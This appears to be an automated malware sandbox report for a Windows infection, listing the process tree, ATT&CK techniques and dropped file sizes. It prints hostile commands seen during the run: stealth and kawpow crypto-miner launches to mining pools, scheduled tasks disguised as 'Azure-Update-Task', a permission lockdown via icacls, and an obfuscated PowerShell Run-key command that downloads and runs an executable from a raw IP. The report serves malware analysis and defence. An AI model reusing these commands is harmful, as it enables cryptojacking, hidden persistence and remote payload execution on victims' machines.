C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6031730 --pass=nixwaree --cpu-max-threads-hint=40 --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FDC0.exeC:\Users\Admin\AppData\Local\Temp\FDC0.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\FDC0.exeC:\Users\Admin\AppData\Local\Temp\FDC0.exe2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\Temp\FDC0.exe"C:\Users\Admin\AppData\Local\Temp\FDC0.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\FDC0.exe"C:\Users\Admin\AppData\Local\Temp\FDC0.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build2.exe"C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build2.exe"C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build2.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build3.exe"C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build3.exe"5⤵
-
C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build3.exe"C:\Users\Admin\AppData\Local\22e59891-349c-4b75-a1a2-a73c7b4b101f\build3.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\276F.exeC:\Users\Admin\AppData\Local\Temp\276F.exe1⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {8AC90EBB-E1B5-40CC-9B6D-AFE1C30E066A} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exeC:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exeC:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exe --Task3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\itabtbrC:\Users\Admin\AppData\Roaming\itabtbr2⤵
-
C:\Users\Admin\AppData\Roaming\itabtbrC:\Users\Admin\AppData\Roaming\itabtbr3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\uvabtbrC:\Users\Admin\AppData\Roaming\uvabtbr2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exeC:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exeC:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exe --Task3⤵
-
-
-
C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exeC:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exeC:\Users\Admin\AppData\Local\aca681c0-23ea-4666-a3ef-032c9e0f3f1f\FDC0.exe --Task3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\itabtbrC:\Users\Admin\AppData\Roaming\itabtbr2⤵
-
C:\Users\Admin\AppData\Roaming\itabtbrC:\Users\Admin\AppData\Roaming\itabtbr3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\uvabtbrC:\Users\Admin\AppData\Roaming\uvabtbr2⤵
-
-
C:\Users\Admin\AppData\Roaming\uvabtbrC:\Users\Admin\AppData\Roaming\uvabtbr2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\5266.exeC:\Users\Admin\AppData\Local\Temp\5266.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DCBB.exeC:\Users\Admin\AppData\Local\Temp\DCBB.exe1⤵
-
C:\ProgramData\Runtimebroker.exe"C:\ProgramData\Runtimebroker.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91''+''.241''+''.19''+''.52/Ru''+''nt''+''im''+''ebr''+''oke''+''r.exe''),(''Vpnm.''+''e''+''xe''));Start-Process (''V''+''p''+''nm.exe'')'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1318.exeC:\Users\Admin\AppData\Local\Temp\1318.exe1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\1318.exe"C:\Users\Admin\AppData\Local\Temp\1318.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1318.exe"C:\Users\Admin\AppData\Local\Temp\1318.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1318.exe"C:\Users\Admin\AppData\Local\Temp\1318.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1318.exe"C:\Users\Admin\AppData\Local\Temp\1318.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1318.exe"C:\Users\Admin\AppData\Local\Temp\1318.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\D0CC.exeC:\Users\Admin\AppData\Local\Temp\D0CC.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Forgesoft\FSU Admin Center\fsucenter.exe"C:\Users\Admin\AppData\Roaming\Forgesoft\FSU Admin Center\fsucenter.exe"2⤵
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Systemd\HostData.exeNULL3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
C:\ProgramData\Data\Database.exe-a kawpow -o rvn.2miners.com:6060 -u RTfmeoZ3bbRWNuyicTPTPyYHU64km4wcMA.rig -p x3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\4225.exeC:\Users\Admin\AppData\Local\Temp\4225.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4225.exeC:\Users\Admin\AppData\Local\Temp\4225.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\85CA.exeC:\Users\Admin\AppData\Local\Temp\85CA.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AB64.exeC:\Users\Admin\AppData\Local\Temp\AB64.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\FC14.exeC:\Users\Admin\AppData\Local\Temp\FC14.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1DD7.exeC:\Users\Admin\AppData\Local\Temp\1DD7.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1DD7.exeC:\Users\Admin\AppData\Local\Temp\1DD7.exe2⤵
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7664.exeC:\Users\Admin\AppData\Local\Temp\7664.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7664.exeC:\Users\Admin\AppData\Local\Temp\7664.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7664.exeC:\Users\Admin\AppData\Local\Temp\7664.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7664.exeC:\Users\Admin\AppData\Local\Temp\7664.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7664.exeC:\Users\Admin\AppData\Local\Temp\7664.exe2⤵
-
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4.6MB
-
Filesize
512KB
-
Filesize
36KB
-
Filesize
8KB
-
Filesize
100KB
-
Filesize
100KB
-
Filesize
1.1MB
-
Filesize
152KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
1.5MB
-
Filesize
100KB
-
Filesize
572KB
-
Filesize
152KB
-
Filesize
572KB
-
Filesize
1.1MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
1.1MB
-
Filesize
628KB
-
Filesize
4.9MB
-
Filesize
40.5MB
-
Filesize
188KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
88KB
-
Filesize
84KB
-
Filesize
88KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
512KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
40.4MB
-
Filesize
36KB
-
Filesize
4KB
-
Filesize
40.5MB
-
Filesize
296KB
-
Filesize
40KB
-
Filesize
4KB
-
Filesize
1.2MB
-
Filesize
16KB
-
Filesize
8KB
-
Filesize
120KB
-
Filesize
4KB
-
Filesize
120KB
-
Filesize
40.5MB
-
Filesize
188KB
-
Filesize
72KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
44.6MB
-
Filesize
44.6MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
84KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
80KB
-
Filesize
632KB
-
Filesize
36KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
24KB
-
Filesize
8KB
-
Filesize
16KB
-
Filesize
7.3MB